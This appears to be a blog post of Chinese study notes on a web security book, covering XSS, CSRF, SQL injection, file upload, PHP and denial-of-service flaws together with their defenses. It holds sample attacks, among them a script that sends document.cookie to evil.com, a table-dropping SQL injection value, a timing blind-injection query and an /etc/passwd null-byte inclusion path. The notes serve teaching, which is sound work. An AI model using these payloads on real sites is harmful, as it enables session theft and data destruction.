温斯顿吴的个人博客 woojean.com

《白帽子讲Web安全》读书笔记

2017-04-05

第1章 我的安全世界观

安全三要素:机密性、完整性(无篡改)、可用性。后来又添加了可审计性、不可抵赖性。

实施安全评估的步骤:

  1. 资产等级划分:对要保护的数据做等级划分,确定信任域和信任边界;
  2. 威胁分析:可能造成危害的来源称为威胁(伪装、篡改、抵赖、信息泄露、拒绝服务、提升权限);
  3. 风险分析:可能出现的损失称为风险;(DREAD模型,略)

白帽子兵法:

  1. Secure By Default原则:白名单优于黑名单;
  2. 纵深防御原则:在不同层面、不同方面实施正确的安全方案;
  3. 数据与代码分离原则(杜绝注入);
  4. 不可预测性原则(对抗基于篡改、伪造的攻击);

第2章 浏览器安全

同源策略

同源策略是浏览器最核心、最基本的安全功能。影响源的因素包括:host(或IP)、子域名、端口、协议;

注意:对于当前页面,页面内JavaScript文件自身的域并不重要,重要的是加载JavaScript的页面所在的域。

<script>、<img>、<iframe>、<link>等带src属性的标签可以跨域加载资源,每次加载实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是,通过src属性加载的资源被JavaScript限制了权限:不能读、写返回的内容。XMLHttpRequest可以访问来自同源对象的内容。W3C同时也制定了XMLHttpRequest跨域访问的标准:通过目标域返回的HTTP头来授权是否允许跨域访问(Access-Control-Allow-Origin)。这个跨域访问方案的安全基础基于“JavaScript无法控制该HTTP头”。

浏览器沙箱

现代的浏览器采用多进程架构来将各个功能模块分开,渲染引擎由Sandbox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要经过IPC channel,而在其中会进行一些安全检查。Sandbox的设计目的就是为了让不可信任的代码运行在一定的环境中,限制不可信任的代码访问隔离区之外的资源,要跨越Sandbox边界产生数据交换只能经由指定的数据通道(封装的API)。

恶意网址拦截

现在的浏览器通常会对恶意网址进行提示。

浏览器插件

插件可能存在漏洞,甚至本身就有恶意行为。

第3章 跨站脚本攻击(XSS)

Cross Site Script,指通过HTML注入篡改了网页,插入恶意脚本,从而在用户浏览网页时执行攻击。(一开始这种攻击都是用来演示跨域攻击的,所以叫跨站脚本,到如今是否跨域已经不再重要)

例:

<?php
$input = $_GET["param"];
echo "<div>" . $input . "</div>";
?>

提交这样一个请求:

test.php?param=<script>alert(/xss/)</script>

XSS Payload

XSS Payload实际上就是JavaScript脚本,所以任何JavaScript脚本能实现的功能XSS Payload都能做到。比如读取Cookies,从而发起Cookies劫持攻击(Cookies中可能有登录凭证); 例如攻击者先加载这样一个远程脚本: http://www.a.com/test.html?abc=”><script src=http://www.evil.com/evil.js></script>“,正在的Payload写在这个远程脚本中从而避免直接在URL参数中写入大量的Javascript代码。在evil.js中通过如下方式窃取Cookies:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

【test.html的内容没有,上面的例子不通顺,艹】

同样的,可以通过img的src标签来发起GET请求。对于POST请求,则可以通过JavaScript动态构造一个表单,然后自动提交这个表单来实现:

var f = document.createElement("form");
f.action = "...";
f.method = "post";
document.body.appendChild(f);

var il = document.createElement("input");
il.name = "ck";
il.value = "dd";
f.append(il);

f.submit();

详略(很多历史问题原理的讨论,现已修复)。

通过style标签也能构造出XSS:

<div style="background: url('javascript:alert(1)')">

XSS Worm

一般来说,用户之间发生交互行为的页面(发送站内信、用户留言等),如果存在存储型XSS,则比较容易发起XSS Worm攻击。 详略。

XSS构造技巧

利用字符编码,绕过长度限制,利用标签,利用window.name等,详略。

XSS的防御

  1. 将Cookies设为HttpOnly,浏览器将禁止页面的JavaScript访问带有HttpOnly的Cookie。(严格来说HttpOnly并非为了对抗XSS,它解决的是XSS后的Cookies劫持攻击)。 服务器可能会设置多个Cookie,而HttpOnly可以有选择性地加在任何一个Cookie上:
    <?php
    header("Set-Cookie:cookie1=test1;");
    header("Set-Cookie:cookie2=test2;httponly",false);
    ?>
    

    当通过document.cookie读取cookie时,只有cookie1能被JavaScript读取到。

  2. 输入检查:即对输入格式进行检查,检查工作必须放在服务器端代码中实现;

  3. 输出检查:在变量输出到HTML页面时使用编码或转义的方式(HtmlEncode)来防御XSS攻击;

第4章 跨站点请求伪造(CSRF)

Cross Site Request Forgery。

浏览器Cookie策略

Cookie有两种:

  1. Session Cookie,又称临时Cookie,浏览器关闭后即消失;保存在浏览器进程空间中,所以在浏览器中新打开tab时仍然有效。
  2. Third-party Cookie,又称本地Cookie,在设置时指定过期时间;保存在本地。

当浏览器从一个域的页面中加载另一个域的资源时,出于安全考虑,某些浏览器会阻止Third-party Cookie的发送。比如在b域中通过iframe引用a域的页面,这种情况下不会带上a域的cookie。然而FireFox默认不阻止Third-party Cookie的发送,所以更容易发生CSRF攻击。

P3P头的副作用

略。

CSRF的防御

  1. 验证码;

  2. Referer Check:检查请求是否来自合法的源。缺陷在于服务器并非什么时候都能取到Referer(比如用户的浏览器隐私设置、从HTTPS跳转HTTP等)。

  3. Anti CSRF Token 同时在表单和Session(或cookie)中设置一个token,在提交请求时服务器验证表单中的token和用户Session(或cookie)中的token是否一致,如果一致则为合法请求,否则可能发生了CSRF攻击。 token应该不可预测,且当表单提交后,token应该失效。

XSRF

Anti CSRF Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会无效,因为XSS可以模拟客户端浏览器执行任意操作,包括请求页面后读出页面里的token,然后再构造出一个合法的请求,这个过程称为XSRF。

第5章 点击劫持(ClickJacking)

点击劫持是一种视觉上的欺骗手段,比如使用一个透明的iframe覆盖在一个网页上,然后诱使用户在该网页上进行操作,通过调整iframe页面的位置,可以使得用户恰好点击在iframe页面的一些功能性按钮上。

图片覆盖是另一种类似的视觉欺骗的方法。

防御ClickJacking

  1. frame busting:通过写一段JavaScript代码禁止iframe的嵌套;(由于使用JavaScript,因此控制能力并不是特别强,有很多方法可以绕过它)

  2. X-Frame-Options 当值为DENY时浏览器会拒绝当前页面加载任何frame页面,为SAMEORIGIN时可以加载同源下的页面,当值为ALLOW-FROM,可以定义运行的页面。

第6章 HTML5安全

新标签的XSS

<video>、<audio>等,可能绕过站点现有的XSS Filter。

iframe的sandbox属性

iframe被新增一个sandbox属性,使用这个属性后加载的内容将被视为一个独立的源,其中的脚本将被禁止执行,表单被禁止提交,插件被禁止加载,指向其他浏览器对象的链接也会被禁止。

<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="..." ></iframe>

noreferrer

<a>和<area>标签定义了新的名为noreferrer的Link Types,标签指定该值后,浏览器在请求该标签指定的地址时将不再发送Referer:

<a href="xxx" rel="noreferrer">test</a>

Canvas

利用Canvas可以识别简单的图片验证码。

postMessage

HTML5中新的API,运行每一个window对象往其他的窗口发送文本消息,从而实现跨窗口的消息传递,且这个功能不受同源策略限制,因此需要自己做安全判断。

Web Storage

Web Storage分为Session Storage和Local Storage,前者在关闭浏览器时就会失效,后者会一直存在。Web Storage也受到同源策略的约束。 当Web Storage中保存敏感信息时,也会成为XSS的攻击目标。

第7章 注入攻击

注入攻击的本质是把用户的数据当做代码执行。这里有两个关键条件:

  1. 用户能够控制输入;
  2. 原本程序要执行的代码拼接了用户输入的数据;

SQL注入

例如:

var sql = "select * from OrderTable where ShipCity = '" + ShipCity + "'";

变量ShipCity由用户提交,而用户提交如下的值:

Beijing';drop table OrderTable;

如果Web服务器开启了错误回显,则会加大SQL注入的风险。

盲注(Blind Injection)

盲注即在服务器没有错误回显时使用盲注验证的方法完成注入攻击。 即根据页面参数构造不同的查询条件来猜测,详略。

Timing Attack

盲注的一种,利用MySQL的BENCHMARK()函数可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。 比如当页面基于id查询时,可以构造如下的id:

1170 UNION SELECT IP(SUBSTRING(current,1,1))=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tb1;

以上代码判断库名的第一个字母是否为’w’,如果为真,则BENCKMARK()函数将造成较长时间的延迟,否则会很快执行完。

常见攻击技巧

繁琐,略。

正确地防御SQL注入

  1. 使用预编译语句绑定变量(最佳方式);
  2. 使用安全的存储过程;
  3. 检查数据类型;
  4. 使用安全函数;

其他注入攻击

  1. XML注入,详略。
  2. 代码注入,详略。
  3. CRLF注入:凡是使用CRLF作为分隔符的地方都可能存在注入问题,比如log注入、HTTP头注入(截断HTTP头中,比如Set-Cookie,插入JavaScript代码);假如服务器没有过滤‘\r\n’,而又把用户输入的数据放在HTTP头中,则可能导致这种安全隐患。

第8章 文件上传漏洞

文件上传漏洞指Web用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行Web服务器端命令的能力(即所谓的webshell)。要完成这个攻击需要满足以下条件:

  1. 上传的文件能够被Web容器解释执行;
  2. 用户能够从Web上访问这个文件;
  3. 用户上传的文件不能被安全检查、格式化、图片压缩等功能改变了内容;

在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证。有时可以通过修改上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断,因为在很多语言中(C、PHP)0x00被认为是终止符。比如原本只允许上传jpg文件,那么可以构造文件名为xxx.php[\0].jpg,因为[\0]为16进制的0x00字符,.jpg绕过了应用的上传文件类型的判断,但是对于服务器来说,此文件因为0x00字符截断的关系,最终变成xxx.php。

有些应用通过判断上传文件的文件头信息来验证文件的类型,为了绕过应用中类似MIME Sniff的功能,常见的攻击技巧是伪造一个合法的文件头,而将真实的PHP等脚本代码附在合法的文件头之后。当然,这种情况下需要让Web Server将此文件当做PHP文件来解析才能实现攻击。

Apache、IIS等,旧版本中都有一些已知的文件路径解析的漏洞,详略。

PHP CGI路径解析问题

当访问:

http://www.xxx.com/path/test.jpg/notexist.php

时,若notexist.php不存在,会将test.jpg当做PHP进行解析。 这个漏洞的原因与在fastcgi方式下PHP获取环境变量的方式有关。php.ini中cgi.fix_pathinfo开关默认打开,在映射URI时,两个环境变量很重要:PATH_INFO和SCRIPT_FILENAME。上例中PATH_INFO为notexist.php,当cgi.fix_pathinfo打开的情况下,在映射URI时将递归查询路径确认文件的合法性,因为notexist.php不存在,所以将往前递归查询路径。(这个功能原本是为了解决/info.php/test这种URL,使其能够正确地解析到info.php上),此时SCRIPT_FILENAME需要检查文件是否存在,最终递归查询后确认为/path/test.jpg,而PATH_INFO此时还是notexist.php,从而造成最终执行时test.jpg会被当做PHP进行解析。

利用上传文件钓鱼

通过伪造文件头的方式(比如伪造一个png文件),构造一个实际内容为JavaScript的图片,JavaScript中的代码重定向到钓鱼网站。这样,在传播钓鱼网站时可以传播合法的图片URL(域名合法),在低版本的浏览器中会将此文件当做HTML执行,从而将用户诱导到钓鱼网站。(现代浏览器不会将jpg当做HTML执行)

设计安全的文件上传功能

  1. 文件上传的目录设置为不可执行;
  2. 判断文件类型,对于图片处理可以使用压缩函数、resize函数等以破坏图片中可能存在的代码;
  3. 使用随机数改写文件名和文件路径;
  4. 单独设置文件服务器的域名;

第9章 认证与会话管理

认证与授权的区别:认证的目的是为了认出用户是谁,而授权的目的是为了解决用户能够做什么。

密码必须以不可逆的加密算法或者单向散列函数算法加密后存储在数据库中。

多因素认证

除密码外,同时使用其他认证手段,比如手机动态口令、数字证书等。

Session与认证

最常见的做法是把SessionID加密后保存在Cookie中。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Cookie泄露的途径有很多,比如XSS攻击、网络Sniffer、本地木马窃取等。

SessionID也可以保存在URL中,但是这种方式的安全性太低(发钓鱼链接,通过Referer窃取)。

Session Fixation攻击

在用户登录网站的过程中,如果登录前后用户的SessionID没有发生变化,则会存在Session Fixation问题。所以,在每次登录成功后应该重写SessionID。

Session保持攻击

攻击者可以通过不停地发起访问请求让Session一直存活。 如果Session完全存储在Cookie中,可以通过篡改Cookie的Expire时间来使其保持有效。

单点登录

SSO,Single Sign On。 目前最开放和流行的单点登录系统是OpenID,使用URI作为用户在互联网上的身份标识,每个用户将拥有一个唯一的URI,在用户登录网站时,只要提交他的OpenID以及OpenID的提供者,网站就会将用户重定向到OpenID的提供者进行认证,认证完后再重定向回网站。

第10章 访问控制

访问控制实际上就是建立用户与权限之间的对应关系。 在Web应用中,根据访问客体的不同,常见的访问控制可以分为基于URL的访问控制、基于方法的访问控制、基于数据的访问控制等。

垂直权限管理

基于角色的访问控制(RBAC)。事先在系统中定义出不同的角色,不同的角色拥有不同的权限,一个角色实际上就是一个权限的集合,而系统的所有用户会被分配到不同的角色中,一个用户也可能有多个角色。在系统验证权限时,只需要验证用户所属的角色,然后就可以根据该角色所拥有的权限进行授权了。(权限即是否能够访问某个资源,而资源可以是URL路径、路由、method等)

水平权限管理

在RBAC模型下,系统只会验证用户A是否属于角色RoleX,而不会判断用户A是否能访问只属于B的数据,因此会发生越权访问。系统只验证了能访问数据的角色,没有对角色内的用户做细分,也没有对数据的子集做细分,缺乏一个用户到数据之间的对应关系。 水平权限管理问题是个难题,因为对于数据的访问控制与业务结合得十分紧密,至今仍未在统一框架下解决。

OAuth

OAuth是一个在不提供用户名和密码的情况下授权第三方应用访问Web资源的安全协议。 OpenID解决的是认证问题,OAuth则更注重授权。

详略。

第11章 加密算法与随机数

难,略。

第12章 Web框架安全

MVC框架的安全方案:在正确的地方做正确的事情。

(对着Laravel、Phalcon等框架的安全实现理解更好,详略)

第13章 应用层拒绝服务攻击

DDOS,Distributed Denial of Service,分布式拒绝服务,利用合理的请求造成资源过载,导致服务不可用。

SYN flood

SYN flood是一种最为经典的DDOS攻击,它利用了TCP协议设计的缺陷,先伪造大量的源IP地址向服务器端发送大量的SYN包,服务器端接收后会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端收不到伪造的IP的回应,于是重试3~5次并等待一个SYN Time(30~120s),超时后丢弃连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源来处理这种半连接,进而导致拒绝服务。 主要的对抗方式是SYN Cookie,为每一个IP地址分配一个Cookie,并统计每个IP地址的访问频率,如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到了攻击,之后来自这个IP地址的包将被丢弃。

应用层DDOS

发生在应用层(TCP连接已建立),比如对一些资源消耗较大的应用页面不断地发起正常的请求,以达到消耗服务器端资源的目的。是针对服务器性能的一种攻击。

最常见的防御措施是在应用中针对每个客户端(IP+Cookie)做一个请求频率的限制。

Slowloris攻击

比如以极低的速度往服务器发送HTTP请求,由于Web Server对于并发的连接数都有一定的上限,因此当恶意占用这些连接不释放时,WebServer的所有连接将被占用,从而无法接受新的请求。 比如构造一个畸形的HTTP请求:

GET / HTTP/1.1\r\n
....
Content-Lenght:42\r\n

在正常的HTTP包头中是以两个CLRF表示HTTP Headers部分结束的:

Content-Length:42\r\n\r\n

由于Web Server只收到一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求,此时客户端再发送任意HTTP头,保持住连接即可:

X-a:b\r\n

这种攻击几乎对所有Web Server都有效。

HTTP POST DOS

在发送HTTP POST包时指定一个非常大的Content-Length值,然后以很低的速度发包(比如10~100s发一个字节),保持这个连接不断开,这样当客户端连接数多了以后占用住Web Server的所有可用连接,从而导致DOS。

Server Limit DOS

Web Server对HTTP包头都有长度限制,比如Apache默认为8192字节,如果客户端发送的HTTP包头超过这个大小,服务器会返回一个4xx错误。攻击者通过XSS攻击恶意地往客户端写入一个超长的Cookie,则该客户端在清空Cookie之前将无法再访问该Cookie所在域的任何页面。

ReDOS

正则表达式也能造成拒绝服务:构造恶意的输入,消耗大量的系统资源(比如CPU和内存),从而导致整台服务器的性能下降。 详略。

防御措施

  1. 验证码:CAPTCHA,Complete Automated Public Turing Test to Tell Computers and Humans Apart,全自动区分计算机和人类的图灵测试。

  2. 让客户端解析一段JavaScript,并给出正确的运行结果;

  3. 优化Web Server的配置,比如调小Timeout、KeepAliveTimeout的值、增加MaxClients的值等。

第14章 PHP安全

文件包含漏洞

文件包含漏洞是代码注入的一种,原理就是注入一段用户能够控制的脚本或代码,并让服务器端执行。常见的导致文件包含的函数包括:include()、include_once()、require()、require_once()、fopen()、readfile()等。

当使用include()、include_once()、require()、require_once()这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。

本地文件包含

即能够打开并包含本地文件的漏洞。 通常服务器端代码可能这样接收用户输入:

include ‘/home/wwwrun/’ .$file. '.php';

看起来无论用户输入什么$file,最终只能包含’.php’文件。实际PHP内核由C语言实现,使用了一些C语言的字符串处理函数,在连接字符串时\x00将作为字符串结束符,所以当攻击者如下输入时:

../../etc/passwd\0

或者在通过Web输入时UrlEncode:

../../etc/passwd%00

就能截断file变量之后的字符串。

当PHP配置了open_basedir时,将可以使得这种攻击无效。open_basedir的作用是限制在某个特定目录下PHP能打开的文件,需要注意的是其值是目录的前缀,因此如果设置为/home/app/aaa,那么实际上如下目录都将被允许:

/home/app/aaa
/home/app/aaabbb
/home/app/aaa123

如果要限定一个指定的目录,则需要在最后加上’/’:

open_basedir = /home/app/aaa/

要解决文件包含漏洞应该尽量避免包含动态的变量,尤其是用户可以控制的变量,一种通用方式是使用枚举判断被包含的文件。

远程文件包含

如果PHP设置中allow_url_include为ON,则include、require函数可以加载远程文件,远程文件漏洞可以用来执行任意命令。

本地文件包含的利用技巧

  1. 包含用户上传的文件;
  2. 包含data://或php://input等伪协议;
  3. 包含Session文件;(需要攻击者能够控制Session文件的部分内容)
  4. 包含日志文件,比如Web Server的access log;(攻击者可以拼凑特定请求来将PHP代码写到日志中)
  5. 包含/proc/self/environ文件;(Web进程运行时的环境变量,其中很多都是用户可以控制的,比如User-Agent)
  6. 包含上传的临时文件;
  7. 包含其他应用程序创建的文件,比如数据库文件、缓存文件、应用日志等。

变量覆盖漏洞

当register_globals为ON时,PHP全局变量的来源可能是多个地方,包括页面的表单、Cookie等(会自动创建全局变量)。PHP4.2.0之后的版本register_globals默认为OFF。

extract()函数能够将变量从数组导入当前的符号表:

int extract( array $var_array [, int $extract_type [, string $prefix]] );

$extract_type指定将变量导入符号表时的行为,为EXTR_OVERWRITE时,若发生变量名冲突,将覆盖已有的变量。当extract()函数从用户可以控制的数组中导出变量时,将可能覆盖变量,从而绕过服务器端逻辑。

需要注意类似$$k的变量赋值方式可能覆盖已有的变量。

import_request_variables(…)函数将GET、POST、Cookie中的变量导入到全局,因而也可能导致变量覆盖问题。

parse_str()函数往往用于解析URL中的query string,当参数值能被用户控制时,很可能导致变量覆盖。

代码执行漏洞

PHP中popen()、system()、passthru()、exec()等函数都可以直接执行系统命令,eval()函数可以执行PHP代码。当攻击者可以控制输入时,将造成代码执行漏洞。

preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行。

用户自定义的动态函数也能导致代码执行:

$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);

Curly Syntax也能导致代码执行,它将执行花括号间的代码并将结果替换回去:

$var = "I was ...until $(`ls`) appeared here";

很多函数都可以执行回调函数,当回调函数可以被用户控制时,将导致代码执行。

unserialize()在执行时如果定义了__destruct()或者__wakeup()函数,则这两个函数将执行。

定制安全的PHP环境

  1. register_globals = OFF
  2. 设置open_basedir
  3. allow_url_fopen = Off
  4. allow_url_include = Off
  5. display_errors = Off / log_errors = On
  6. magic_quotes_gpc = Off 因为有若干种方法可以绕过它,甚至由于它反而衍生出一些新的安全问题
  7. cgi.fix_pathinfo = 0
  8. session.cookie_httponly = 1
  9. session.cookie_secure = 1 # 当全站HTTPS时,应该开启

safe_mode

开启时,很多函数的行为将发生变化,略。

disable_functions

应该禁止使用一些函数,详细列表略。

第15章 Web Server配置安全

Apache

不应该以root身份运行。 应该根据最小权限原则,尽可能地减少不必要的Module。 优化服务器性能的配置,详略。

Nginx

无有效内容,略。

Tomcat,其他服务器,略。

第16章 互联网业务安全

难以条理化地记笔记,且存在堆砌内容的嫌疑,略。

第17章 安全开发流程(SDL)

介绍了微软的SDL过程(16个步骤),详略。

第18章 安全运营

详略。


文章目录